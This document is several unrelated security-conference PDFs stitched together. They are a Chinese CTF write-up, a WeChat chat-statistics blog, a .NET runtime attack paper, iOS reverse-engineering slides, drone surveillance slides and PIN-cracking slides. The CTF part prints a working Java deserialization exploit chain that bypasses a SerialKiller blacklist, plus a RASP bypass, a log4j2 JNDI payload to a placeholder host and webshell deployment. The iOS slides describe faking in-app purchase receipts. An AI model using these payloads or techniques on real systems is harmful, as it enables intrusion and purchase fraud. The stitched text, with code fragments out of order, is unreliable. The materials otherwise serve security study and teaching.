这⾥如何解决呢?其实很简单,别忘了我们这个可是打ROME,通过触发
com.rometools.rome.feed.impl.EqualsBean#beanEquals 我们能调⽤任意get⽅法,这
时候不难想到⼆次反序列化, java.security.SignedObject#getObject ,其实就是虎符
的思路了没啥难度
{"polish":true,"RegistrationRequired":false,"InstantiatorStrategy":
"org.objenesis.strategy.StdInstantiatorStrategy"}
因此不难得到payload
绕Rasp
这时候你注⼊内存马执⾏会发现什么都是空的
这时候你⼀定很疑问为什么本地打通了远程不⾏,我也很疑惑,之后看到出题⼈说
public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}
payloadhere
既然存在waf,那么我们第⼀件事情是什么呢,当然是验证是否是对payload的过滤
因此我将执⾏的字节码改成
成功看到页⾯延时
这时候猜到可能有Rasp(毕竟对于Java过滤base64解码后的字符串有点傻)
那第⼀步就要知道rasp的⽂件内容,⽤个之前从p⽜那⾥学的伪协议⼩trick⽅便我读⽂件以及
列⽬录
Thread.sleep(10000);
之后成功得到rasp的地址, /app/jrasp.jar ,那么下载下来分析即可,图没截完,意思是
只要执⾏到 java.lang.ProcessImpl 的 start ⽅法,⽽这也就封掉了之前常见的
Runtime , ProcessBuilder ,甚⾄js执⾏之类的,el执⾏都不⾏,道理很简单会调⽤
到 java.lang.ProcessImpl
String urlContent = "";
final URL url = new URL(request.getParameter("read"));
final BufferedReader in = new BufferedReader(new
InputStreamReader(url.openStream()));
String inputLine = "";
while ((inputLine = in.readLine()) != null) {
urlContent = urlContent + inputLine + "\n";
}
in.close();
writer.println(urlContent);
如何绕过也很简单去找更下⼀层的调⽤即可,也就是通过 UNIXProcess 即可
后⾯很恶⼼⼀个计算题
脚本有个地⽅⼩错误导致三⼩时没找到前⾯不能加 CHLD_IN 导致提前输⼊错误答案似乎
use strict;
use IPC::Open3;
my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' ) or die
"open3() failed!";
my $r;
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
EzJava -- Bypass Serialkiller
解读环境
⾸先附件给了两个东西⼀个jar,⼀个serialkiller的配置⽂件,下⾯是jar当中的⽬录架构
print "$r";
$r = substr($r,0,-3);
$r = eval "$r";
print "$r\n";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";
这有两个控制器但是第⼀个没啥意义,这个路由很明显需要反序列化
简单看下SerialKiller类,实现是载⼊配置获得⿊⽩名单,通过resolveClass做了过滤,接下来就
来看看⿊名单,将我们反序列化的关键点给拿捏了
@RestController
public class HelloController {
public HelloController() {
}
@GetMapping({"/hello"})
public String index() {
return "hello";
}
@PostMapping({"/hello"})
public String index(@RequestBody String baseStr) throws Exception {
byte[] decode = Base64.getDecoder().decode(baseStr);
ObjectInputStream ois = new SerialKiller(new
ByteArrayInputStream(decode), "serialkiller.xml");
ois.readObject();
return "hello";
}
}
<blacklist>
<!-- ysoserial's CommonsCollections1,3,5,6 payload -->
<regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$
</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$
</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer
$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransfor
mer$</regexp>
<!-- ysoserial's CommonsCollections2,4 payload -->
Bypass
既然如此那么⾸先就是想到去找替换类达到同样的效果咯
下⾯是我通过简单搜索发现的类,当然后⾯发现解决这题⽅案很多,我只给⼀个
FactoryTransformer
可以看到这个trnasfromer的transform⽅法,可以调⽤任意Factory⼦类的create⽅法
<regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer
$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer
$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransforme
r$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransfo
rmer$</regexp>
<regexp>org\.apache\.commons\.collections4\.comparators\.TransformingCom
parator$</regexp>
</blacklist>
public class FactoryTransformer implements Transformer, Serializable {
private static final long serialVersionUID = -6817674502475353160L;
private final Factory iFactory;
public static Transformer getInstance(Factory factory) {
if (factory == null) {
throw new IllegalArgumentException("Factory must not be
null");
} else {
return new FactoryTransformer(factory);
}
}
public FactoryTransformer(Factory factory) {
可以看到也不多,从名字就可以看出,其中有两个可以⽤的
其中 org.apache.commons.collections.functors.ConstantFactory#create 可以返
回任意值
代替 ConstantTransformer
org.apache.commons.collections.functors.InstantiateFactory#create 可以实
例化任意类
代替 InstantiateTransformer 去实例化对象
那看到这⾥你有什么思路了吗?熟悉CC链的童鞋⼀定会知道TrAXFilter的构造函数当中可以帮
助我们触发TemplatesImpl字节码加载的过程
通过如下构造,我们能很轻松的触发计算器
this.iFactory = factory;
}
public Object transform(Object input) {
return this.iFactory.create();
}
public Factory getFactory() {
return this.iFactory;
}
}
Ps⼩细节:对expMap做put操作会触发hashCode会导致利⽤链在序列化过程当中触发导致报
错,别忘了先设置⼀个⽆关紧要的transformer(⽐如ConstantTransformer)最后再反射替换成我们
恶意的Transformer
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import
com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.nibblesec.tools.SerialKiller;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode(
)
});
setFieldValue(obj, "_name", "1");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
InstantiateFactory instantiateFactory;
instantiateFactory = new
InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
.class
,new Class[]{javax.xml.transform.Templates.class},new Object[]
{obj});
FactoryTransformer factoryTransformer = new
FactoryTransformer(instantiateFactory);
ConstantTransformer constantTransformer = new
ConstantTransformer(1);
Map innerMap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap,
constantTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
setFieldValue(outerMap,"factory",factoryTransformer);
outerMap.remove("keykey");
ByteArrayOutputStream byteArrayOutputStream = new
ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new
ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(expMap);
ByteArrayInputStream byteArrayInputStream = new
ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream ois = new SerialKiller(byteArrayInputStream,
"/Users/y4tacker/Downloads/ezjavaz/serialkiller.xml");
ois.readObject();
后⾯就是获取注⼊⼀个内存马即可获取flag,这部分不谈基础东西⽽已
}
}
那么就结束了这⼀题
Java_mem_shell_Filter
⾸先只给了⼀个登录功能
通过随便访问不存在页⾯,导致报错抛出也可以得到是tomcat8.0.12版本,那版本问题可以忽
略了
接下来由于后端响应真的很快,在公共环境下能做到这样⾸先考虑弱⼜令,爆破⽆效
突然想到能不能打log4j2
name=${jndi:rmi://xxxxx/exp}&password=admin
后⾯拿flag也是⽐较阴间,这⾥不重要不写了
Java_mem_shell_Basic
可以看见直接是⼀个tomcat,看了版本没啥可利⽤的1day,同时版本⽐较低不存在幽灵猫漏洞
那么接下来就只能考虑后台弱⼜令了, tomcat/tomcat ,之后部署⼀个war包上去,直接冰
蝎⼀把梭哈,就是flag位置⽐较阴间 /usr/local/apache-tomcat-
8.0.12/work/Catalina/localhost/ROOT/org/apache/jsp/threatbook_jsp.java | pdf |
在v2ex看到一个项目《给女朋友生成一个聊天年度报告》 https://github.com/myth984/wechat-report
,尝试做了一个后觉得挺好玩,想到之前做的小8机器人加了很多安全群,能否给这些群统计一下做个报
告呢?
数据提取
说干就干,原项目使用ios导出数据的功能获取数据,感觉有点麻烦,小8机器人运行在windows的Pc微
信上,直接从Pc微信把数据脱出来就行了。
PC微信的数据库是sqlite,但是加密了,参考 https://bbs.pediy.com/thread-251303.htm 从内存中提
取 key 进行解密,就能得到数据库了。
微信群摸鱼报告
把开源项目的前端简单修改了一下,为小8加的所有群都生成了一次 微信群聊年度报告 。
例: hacking8安全信息流交流群的报告 https://i.hacking8.com/wechat-report/17715724893@chatroo
m
获取报告
如果群内加了小8机器人,可以在群内输入 @A' 小8 报告 ,即可获得一份群内专属报告链接。
安全圈微信群摸鱼报告
既然小8加的都是些安全群,是否能根据群消息分析安全圈微信群的摸鱼报告呢。
大数据分析安全圈已经有很多珠玉在前的报告,例如 404notfound 师傅的以博客数据的分析《我分析
了2018-2020年青年安全圈450个活跃技术博客和博主》, gainover 师傅的以微博数据为主的分析《安
全圈有多大?也许就这么大!》,这次尝试用微信数据进行分析,看看安全圈微信群的摸鱼现状~
注: 下面分析采用的数据是小8机器人加的群,总计有81个,不能反映真实情况,不要当真!
哪一天说话最多?
小8推出并加群的时候才11月份,所以统计的也就是这两个月的。最小值 161 ,最大值 6972 ,平均值在
2139 。看到12月10日最多,超出第二名几乎一倍,这一天发生了什么?
往回看聊天记录,才知道12月9日晚上,log4j2的漏洞预警发布,到了12月10日,exp已经流传开了,各
种复现成功的图片和payload 爆发流传,所以12月10日应该可以看作是log4j2漏洞爆发的第一天。
大家一般都在哪个时间段说话?
可以看到两个高峰,一个是11点,一个是16点,说话比较多,这个时间正是人一天中精力最旺盛的时
候。从21点到0点的时候,也有一个上升的坡度,且发言数都大于平均值,说明在安全人员在晚上也会
进行一些活动。
安全人员喜欢哪个语言?
php 还是不是安全人员最喜欢的语言?怀着这样的疑问进行了统计。先对发言的内容进行分词
(jieba),再和下面的数据取交集。
结果如下
programs = ["asp", "php", "java", "python", "go", "golang", "node",
"javascript", "js", "rust", ".net", "c#",
"csharp", "c", "ruby","nim"]
java和go的讨论最多,php在第三位。
哪个安全研究人员id被最多讨论?
通过以下字典可以汇总安全研究人员的id
去除了一些字典杂质后提及次数大于5统计如下,当然这个数据不能说明什么,仅供参考。
https://github.com/404notf0und/Security-Data-Analysis-and-Visualization
https://raw.githubusercontent.com/jiesson/MyPYP/be9496150c1f23aaf294ca2bdbbfcb90
0ad6731a/CTF/%E5%AD%97%E5%85%B8/fuzzDicts-master/userNameDict/sec_id.txt
安全id
提及次数
chybeta
99
l1nk3r
49
aliyun
33
anquanke
27
hacking8
19
orange
15
seebug
14
mars
14
Zedd
12
gh0st
10
hone
10
gh0stkey
9
neargle
9
love
9
Wing
8
payloads
8
z3r0yu
8
boy-hack
8
white
7
space
7
phith0n
6
LoRexxar
6
online
6
hexo
5
leavesongs
5
Cytosine
5
anyu
5
标签云图
大家更喜欢讨论哪家安全公司?
因为没有公开的数据统计安全公司做词库,所以就百度了一下网络安全的公司,选了几个,不是很全。
统计次数高的top10如下:
companies = ["360", "启明星辰", "华为", "深信服", "绿盟", "亚信", "奇安信", "新华三",
"安恒", "天融信", "山石", "知道创宇", "恒安嘉新", "阿里", "腾讯","蚂蚁","长亭", "星澜",
"字节跳动", "百度"]
哪个CVE最多讨论?
统计了CVE讨论最多的TOP10
前十里面有三个和log4j2漏洞相关...
黑客们更喜欢RCE吗?
当出现rce(远程命令执行)漏洞时,黑客就能直接控制这台机器,这种简单粗暴的方式深得黑客喜欢。我
挑选了几个漏洞常用的词汇,想看看这些词汇的讨论程度。
词汇有
最终的统计结果
rce果然是最多的,超过第二名4倍多!
哪个组件被讨论最多
选取的词库是各大赏金平台中需要的漏洞组件...
Top10名单如下
('cve-2021-44228', 47) Apache Log4j2 远程代码执行漏洞
('cve-2021-42287', 7) Windows Active Directory 域服务权限提升漏洞
('cve-2021-37580', 6) Apache ShenYu JWT认证缺陷漏洞
('cve-2021-42321', 6) Exchange Server远程代码执行漏洞(CVE-2021-42321)
('cve-2021-42278', 6) Windows Active Directory 域服务权限提升漏洞(CVE-2021-
42287,CVE-2021-42278)
('cve-2019-3560', 6) 由于整数溢出导致Facebook Fizz服务被拒绝(CVE-2019-3560)
('cve-2021-45046', 6) CVE-2021-45046是Log4j2漏洞爆出后在修复版本中出现的拒绝服务漏洞
('cve-2021-41277', 5) Metabase 任意文件读取漏洞CVE-2021-41277
('cve-2021-43798', 5) Grafana未授权任意文件读取复现
('cve-2021-44832', 5) Apache Log4j 2.17.0 JDBCAppender CVE-2021-44832 任意代码执行
漏洞
['rce', 'sql', '注入', "未授权", "ssrf", "xss", "xxe"]
[('rce', 524), ('注入', 143), ('xss', 66), ('ssrf', 60), ('sql', 44), ('未授权',
33), ('xxe', 19)]
完整名单如下
('log4j', 459)
('apache', 193)
('fastjson', 60)
('shiro', 48)
('docker', 47)
('solr', 18)
('weblogic', 16)
('elasticsearch', 13)
('jira', 13)
('resin', 10)
('jackson', 9)
('gitlab', 9)
('django', 5)
('dedecms', 5)
('f5', 5)
('activemq', 2)
('kibana', 2)
('kong', 2)
('phpmyadmin', 2)
('xampp', 1)
('svn', 1)
('jenkins', 1)
('discuz', 1)
('thinkphp', 1)
('jboss', 1)
('sentry', 1)
('jumpserver', 1)
('flask', 1)
('outlook', 1)
('coremail', 1)
说过最多的字?
对全部内容分词后统计,发现说过最多的字是 不
这让人联想到了一个表情包 | pdf |
Specifications
Defcon
21
Development
Debian v6, RCP100, and Kernel Module
Software
Deployment
RouterBoard (RB450G) with case
Hardware
-
Open-WRT Operating System
-
idguard Kernel Module | pdf |
Attacking .Net at Runtime
By
Jonathan McCoy
Abstract
This paper will introduce a high level attack
that can control a live .NET program. This
attack is a payload to be deployed after
opening a backdoor inside of a target .NET
application. Also basic information on
delivery methods is included.
This paper has a C# implementation of this
attack: DotNetSpike
Introduction
This attack can navigate and control a live
program by using the rules of the Runtime
system to control other .NET applications.
Some rules can be bent, other can be broken.
Once access to another program’s Runtime
is gained almost absolute control is at hand.
Most every aspect from Objects to Events
can be accessed, and most of the time
modified. This allows for simple attacks like
changing an Object’s values or calling
functionality; and more complex attacks like
introducing or changing the basic logic of
the target can be done with ease.
With this level of control the target can be
forced to divulge protected information,
carry out different functionality and send
corrupted signals. This attack will also allow
for accessing the code base and Object
structure live. This platform can allow an
attack to be developed and implemented in a
matter of minutes or hours.
Once inside of the target program the
necessary references can be established, and
the full power of .NET can be used. After
you have all the “keys” it can be a matter of
changing one variable or introducing one
line of code to subvert a program's logic.
Access Live .NET Program
The first step is to establish a connection
inside of your target’s Runtime; this is done
in a number of ways. This can range from
compromising the .NET Framework1 to
exploiting a glitch in a specific application.
Each method of accessing another
application’s Runtime has a different impact
on stability, foot print and security alerts.
Also the method you pick will change what
references you get to start with and what if
any constraints you would have.
The method of access used in this paper is
injection by the Windows OS. This method
is platform dependent as well as highly
detectable by Anti-Virus programs, and
starts with no references. However, this
method has a fast development cycle.
The security constraints come into play at
this point. Is the target a weak program
running on your system? Can it be attacked,
dissected and restarted a million times? Or
perhaps it is a heavily secured program on a
server some ware that you only get one
chance to compromise and have to make up
the attack as you go. Depending on the
environment and the goal you would select
the delivery method that best fit.
No matter what you chose as an entry
method the end effect is to create a way of
gaining access to your targets Objects,
Appdomain and code base. All this so the
logic and values in a program can be
accessed or manipulated.
This paper has a demo implementation of
injection into a .NET application: Injector
this is a C# program, with C++ unit, that
will inject .NET application running on
Microsoft Windows compatible with both 32
bit and 64 bit.
1 .NET Framework Rootkits By Erez Metul - at
http://www.applicationsecurity.co.il/english/NE
TFrameworkRootkits/tabid/161/Default.aspx
Controlling the Runtime
After you are inside of your target’s
Runtime it is necessary to get a reference to
your target Object(s). This is the weakest
part of the attack as you have none of the
keys, but luckily you also have no doors. So
how do you get to an Object if you don’t
have any references? Luckily most programs
have a GUI and the OS can retrieve a
reference to this Object. In addition looking
for other types of Objects like global
variables can be an easy source of
references.
After establishing a reference to an Object
inside of the target's Runtime it can be
leveraged to gain more references to other
Objects. Depending on the layout of your
target application and the manner of entry, it
will take more or less work to get references
and implement the necessary changes. As
each Object is traversed the code for each
function can be easily accessed. This along
with clean readable code naming can make
for an intuitive attack.
Say you wish to attack the GUI on a target
program. Start out by asking the Windows
OS about your target's GUI window handles
(using an on screen location or PID) and use
that information to build a Reference to the
GUI Object. This GUI Object will be inside
of your target’s Runtime, and as such can
now be accessed and controlled. Once this
reference is created it can be used to find
references to other Objects. Iterating over all
the Form's child controls and their Event's
can gain a far number of references. Perhaps
you find a key Object of the application such
as a timer or SQL connection that can be
leveraged to affect the system.
Anything from changing a variable to
invoking functionality can be implemented
at this point. Objects can with some skill and
effort be replaced live. This allows the
attackers to change the core logic granting a
god mode of sorts.
What is an Object at Runtime
Objects can be asked what Type they are,
and what they implement. This in turn gives
a Class list, on complex Objects this can be
a few levels of inheritance and interfaces.
Once you know what Class an Object can be
referenced as, the Class can be queried as to
what functions it implements and what
variables it contains. With this information,
it is possible to access constructors, Events,
variables, and properties. This allows an
Object to be manipulated and controlled.
GUI
The Graphical User Interface(GUI) also
known as a Form is a key part of most
programs, and is an easy entry point for this
attack. Using the Windows OS to get a
reference to the GUI Objects will get you a
good foothold into the heart of the program.
After establishing a reference to the main
GUI, a reference to each child control is
easily accessed, and in turn will lead to most
of the core Objects in the program.
A good place to start looking for references
is in variables or Event lists. Take a Button
on the main Form, assuming good N-Tier
design, the Button will have a Click Event
connected to some business logic deep in the
program.
Your target could be the GUI it self, perhaps
you need to access to a Check Box or wish
to override the functionality of a Text Box.
This is done with ease as the GUI Controls
are Objects subject to the same modification
and influences as any other Object.
However, the GUI imposes an extra
constraint of thread safety. Anytime you
modify a GUI Control you must do it from a
parent thread. To satisfy this you can move
your execution point inside of a parent
thread or call Invoke on a parent Object.
Events
Events are a key aspect of the logic flow to
most programs today as well as a probable
link to functionality and references. Events
are an Object and as such can be controlled.
The basic idea of the Event is to execute a
list of function calls. This can be used to
gain a reference to an Object. For instance,
you could find a timer that is the heart beat
for the programs with a number of Objects
connected directly to the Timer’s Elapsed
Event. Each entry in the Event list is a
connection to a function that could lead to a
reference.
A fair amount of key logic is connected to
Events, such as, on a Button, Text Box , or
Timer. This logic will (most of the time) be
on key Objects. This can be used as a
shortcut to get to the logic and Object you
would like to control. Events can also be a
good place to find references.
Accessing Source Code
The raw structure is maintained in IL, for
example x passed into FOO(int varIN) is
0002 : ldarg.0
0003 : ldfld int App.Form1::x
0008 : call instance System.Void App.Form1::foo()
Assuming that the code is well written and
not obfuscated we can move between
Objects in an application with confidence. If
we can see well-named variables and
functionality it is no harder then working on
someone else's code. If we do not have well-
named Objects it can slow the process down,
but with a good understanding of the basic
functionality it would most likely only take
a few(10-60) minutes to reconstruct a small
peace of strongly obfuscated logic(code).
Dynamic function can be created and
destroyed at Runtime, giving a nice path for
incorporation of new logic. This logic can
also be unloaded in an attempt to hide the
foot print of this attack.
As for the language the target program is
written in, it makes little difference to this
attack. Because it should be expected that
the code will be obfuscated and thus cannot
be reversed (fully) to any wrapper language.
So IL should be chosen as the primary
language for long term work in this area.
Legitimate uses
This level of control over other applications
has some powerful legitimate uses as well.
This can be used to extend a program or
implement a system wide upgrade.
With this it is possible to extend or reuse
another application in new and different
ways. It is also possible to combine other
applications to form a new system, taking
them far beyond the original purposes.
Conclusion: Going in Blind
If you are going up against an unknown
program at Runtime you have to work in it's
world, but you can bring your tools. If you
have compromised the OS or Framework it
will tip the balance of power in your favor,
if the target has other programs or security
setup to protect itself, the attack will be that
much harder. Once a suitable way into the
target is found the tactics of this attack
should work the same.
Running the attack a few times to see the
flow of the program can give insight into the
target's design and infrastructure. Also if
possible dissecting the target can reveal a
fair amount and help in developing the
attack. This dissection would be at non-
Runtime and can be useful or necessary, but
is not an area of focus for this paper.
The real strength of this attack is in how fast
and easy it is to adapt and control a running
program. The tools used are in the core of
.NET, and for the most part, are in every
version and as such should apply to any app.
Tools and rules of the Runtime:
Objects are derived from and instantiated by
classes, and must be referenced by a chain
of execution. This links every Object
together in a predictable way.
A Class has a list of variables and functions
that can be accessed (both public & private).
This can be used to learn about an Object
and it's connects, or to control and
manipulate it.
The code is in IL (most of the time) and can
be examined, but cannot be edited (this rule
can be broken). The code is solid but the
logic can be manipulated. This will allow
the behavior of the program to be controlled
as the attacker wishes.
A reference is needed in order to access an
Object (this rule can be bent). It is easy to
get around inside of a program to find the
references you need, as most everything is
connected. Additionally some references can
be created from information.
Reflection is a complex topic, so in short,
allows for information to be gathered about
an Object. The long version would be, it is
the part of .NET that allows for
introspection of Objects, where do they
come from, what are they made of, how can
they be accessed, and what they will do.
This is a key tool to understand for this
attack but in order to cover this would take a
paper in itself. If you would like to find out
more about reflection and how it works at
the code leave check out my paper:
Reflection's Hidden Power
Background & Basics of .NET
The .NET framework is an open standard
implemented on a number of different
platforms2. .NET has the largest developer
community ever, with a cross platform
portability never before seen; surpassing the
last generation of languages such as C++
and JAVA.
.NET run's on Intermediate Language(IL)
code, this can be thought of as a meta
language. Most people code in a wrapper
language such as C#, VB.Net, MC++..........
and more are crated each year. The wrapper
language allows programmers to wonk on a
platform resembling the language they are
accustom to.
IL is the code that runs inside of .NET, it is
code generated from compilation and
processing of a wrapper language. IL is a
base set of commands that strongly
resembles assembly code. Every command
in a wrapper language is converted into it’s
component IL command(s). This is in turn
converted at some later point on a users'
computer to machine code for a specific
hardware set.
.NET is a framework consisting of a
Common Language Infrastructure(CLI) that
houses
the
Common
Language
Runtime(CLR). The CLR is a virtual
machine at the heart of .NET; it is
commonly known as the .NET Runtime or
just the Runtime. The Runtime is what most
people think of as the core of .NET as it
manages the Just-in-Time(JIT) compiler,
threads, IO, garbage collector and more. The
Runtime is predominantly what the attack in
this paper is exploiting.
2 .NET is supported on - Linux, FreeBSD,
OpenBSD, NetBSD, Microsoft Windows, Solaris,
OS X, ARM, MIPS, IPhone, Nokia, Blackberry,
Windows Mobile, Web and more.
References and Influences
James Devlin
www.codingthewheel.com
Sorin Serban
www.sorin.serbans.net/blog/
Erez Metula
paper: .NET reverse engineering
& .NET Framework Rootkits
Thanks to
L~~~~ A~~~~~~
Thank you for the mentorship and training in
forensics
D~~~~~ D~~~~~~
Thank you for the help on research and
vulnerability analysis
A~~~~~~ K~~~~~~
Thank you for the advanced IT support
A~~~~~ (Redacted)
Thank you for the IT support; specifically
networking and hardware | pdf |
大可(Dark)
iOS軟體逆向工程應用 & 手機遠程監控技術
經歷
PHATE Security- 創辦人
Zuso Security - 成員
Chroot - 成員
吉瑞科技 - R&D
網駭科技 - R&D
某警調單位 - 外聘顧問
資策會 - 教育訓練講師
中科院 - 教育訓練講師
內容簡介
iOS 軟體逆向工程應用
IAP (In-App-Purchases) 破解技術
遊戲作弊引擎設計
iOS遠程控制軟體設計
謹以此紀念Steve Jobs
iOS 軟體逆向工程技巧
iOS APP簡介
執行檔格式
Mach-O
組合語言格式
ARMv6
○ Thumb
ARMv7
○ Thumbv2
工具
已JB的iphone
GDB
動態分析
IDA Pro
靜態分析
otool
觀察mach-o執行檔結構
class-dump
將執行檔中的objective C classes輸出成.h
拿IDA Pro開刀前…
將加密的code還原
otool –l filepath | grep ‘crypt’ (確定加密的位置&大小)
使用gdb將程式執行後~把該區域dump出來
重新塞入執行檔
DEMO
Binary Patching
找出要修改的位置
利用ARM Assembler組譯
找出對應OP Code
修改 , 並重新簽章
DEMO
繞過IAP (In-App-Purchases)檢查
兩種繞過IAP介面的通用方式
從執行檔下手-分析IAP – API
-需JB
架設假IAP認證伺服器 (MITM SSL Proxy Server)
-不需JB
IAP流程 – 從API角度看
建立SKPaymentTransaction class
根據購買狀態將SKPaymentTransaction transactionState區分為
SKPaymentTransactionStatePurchasing
SKPaymentTransactionStatePurchased
SKPaymentTransactionStateFailed
SKPaymentTransactionStateRestored
購買狀態若有變化 , 則會呼叫
(void)paymentQueue:(SKPaymentQueue *)queue updatedTransactions:(NSArray *)transactions
Developer可根據transactions的類型來決定內購各種狀態變化所要呈現的東西
Sample:
- (void)paymentQueue:(SKPaymentQueue *)queue updatedTransactions:(NSArray *)transactions
{
for (SKPaymentTransaction *transaction in transactions)
{
switch (transaction.transactionState)
{
case SKPaymentTransactionStatePurchased:
if([self putStringToItunes:transaction.transactionReceipt]){
//許多developer會認為程式運作到這 , 就已經購買成功 , 而沒再做訂單驗證
}
break;
}
}
}
Apple IAP收據驗證伺服器
https://buy.itunes.apple.com/verifyReceipt
將訂單轉json傳入伺服器即可驗證
驗證完會收到訂單資訊 , status 0代表付款已完成
如下
{"receipt":{"original_purchase_date_pst":"2012-07-12 05:54:35
America/Los_Angeles", "purchase_date_ms":"1342097675882",
"original_transaction_id":"170000029449420",
"original_purchase_date_ms":"1342097675882",
"app_item_id":"450542233",
"transaction_id":"170000029449420", "quantity":"1", "bvrs":"1.4",
"version_external_identifier":"9051236",
"bid":"com.zeptolab.ctrexperiments",
"product_id":"com.zeptolab.ctrbonus.superpower1",
"purchase_date":"2012-07-12 12:54:35 Etc/GMT",
"purchase_date_pst":"2012-07-12 05:54:35
America/Los_Angeles", "original_purchase_date":"2012-07-12
12:54:35 Etc/GMT", "item_id":"534185042"}, "status":0}
Objective-C分析技巧
b [classname method]
objc_msgSend
objc_msgSend(object_ptr,@selector_name,arg0,arg1)
objc_msgSend($r0,$r1,$r2,$r3,…,…)
po $r0
class-dump –H filepath –o output
DEMO
IAP流程 – 從App AppStore看
App向AppStore發送IAP Request
裡面包含商品資訊
AppStore向使用者說明付款項目明細
使用者確認購買 , 則從AppStore處理交易 並且回傳
訂單收據給APP
開發者決定要如何處置訂單收據
switch (transaction.transactionState)
{
case SKPaymentTransactionStatePurchased:
if([self putStringToItunes:transaction.transactionReceipt]){
//許多developer會認為程式運作到這 , 就已經購買成功 , 而沒再做訂單驗證
}
break;
}
MITM方式繞過IAP機制
當App發出IAP Request時攔截該資訊 ,
並取出部分資訊來構造假收據傳回App
其他方式
俄羅斯駭客架設DNS Server並把apple server domain name 指向自己ip
http://www.in-appstore.com/
優點:
○ 不必擔心別人伺服器會留下自己的IP,或其他紀錄
缺點:
○ 使用時無法上網 , 因為所有domain name都指向他的ip了
○ 無法購買一些需要網路連線才可購買的東西
○ 架構彈性不夠大 , 若有除了apple外的額外伺服器驗證 , 修改會很麻煩
DEMO
iOS遠程控制軟體設計
開發心得
unix socket
關掉螢幕tcp connection會斷掉怎麼辦?
不斷發heartbeat包跟server通訊
如何常駐在系統?
launchctl load /System/Library/LaunchDaemons/xxx.plist
DEMO
遊戲作弊引擎設計
如何讀寫iOS APP記憶體?
task_for_pid
vm_read_overwrite
vm_write
設計MobileSubstrate Plugin
就像DLL Injection…
DEMO
參考文獻
http://developer.apple.com/library/ios/#documentation/StoreKit/Refe
rence/SKPaymentTransaction_Class/Reference/Reference.html
http://www.iphonedevwiki.net/index.php/MobileSubstrate
http://www.peter-cockerell.net/aalp/html/frames.html
http://sources.redhat.com/gdb/documentation/
iOS.Hackers.Handbook
Patching_Applications_from_Apple_AppStore_with_additional_prot
ection_by_Reilly
*感謝皮樂(http://hiraku.tw/)指點repo server架設&打包deb
Thank You!
Q&A
聯絡方式
[email protected] | pdf |
Practical Aerial Hacking &
Surveillance
Glenn Wilkinson
SensePost
DefCon 2014
@glennzw
Glenn Wilkinson
@glennzw
SensePost.com
@glennzw
@glennzw
@glennzw
Practical Aerial Hacking &
Surveillance?
@glennzw
Hacking?
@glennzw
Aerial?
@glennzw
Surveillance?
@glennzw
Practical?
@glennzw
Why oh why bring
“drones” into ?
@glennzw
https://www.youtube.com/watch?v=BlVjdUkrSFY
@glennzw
Recipe
• Aerial Platform
• Ground control / automation
• Hacking / surveilling equipment
• A methodology
@glennzw
1. Aerial Platform
Barrier to entry
Practicality
@glennzw
2. Ground Control / Automation
@glennzw
3. Equipment
@glennzw
4. Methodology
@glennzw
It’s already ground
based...
@glennzw
Retail
@glennzw
Military
@glennzw
Text
http://dronesurvivalguide.org
@glennzw
Conference
Unique,Devices
Number,of,
A4endees
Device,Per,Person
BlackHatVegas,‘12
4778
6500
0.74
ITWeb,‘12
1106
400
2.77
44CON,‘12
969
350
2.77
BlackHatEU,‘13
681
607
1.12
Securitay,‘13
375
100
3.75
BSides,‘13
208
474
0.44
Hackito,‘13
309
400
0.77
CERT,Poland,‘13
598
500
1.2
ZeroNights,‘13
507
600
1.18
BlackHat,Brazil,’13
719
?
BlackHat,Asia,’14
398
500
0.80
@glennzw
[email protected]
[email protected]
http://research.sensepost.com/ | pdf |
Automated PIN Cracking
Justin Engler
Paul Vines
Senior Security Engineer
Security Engineering Intern
iSEC Partners
iSEC Partners
• Current PIN Cracking Methods
• Cracking with Robots
• R2B2
• C3BO
• Defeating the Robots
Agenda
• One of the most popular ways to lock
mobile devices
• Commonly still only 4-digit despite
ability to be longer
• User chosen, so typically low-entropy
PINs
PIN Cracking Now
• Jailbreak and Crack
• Keyboard Emulation
• Punish an Intern
Jailbreak and Crack
• Use jailbreaking/rooting exploits on the
device
• Bypass the lock screen with these new user
capabilities
• Problem: not all devices have known exploits
for gaining root (and without wiping the
device)
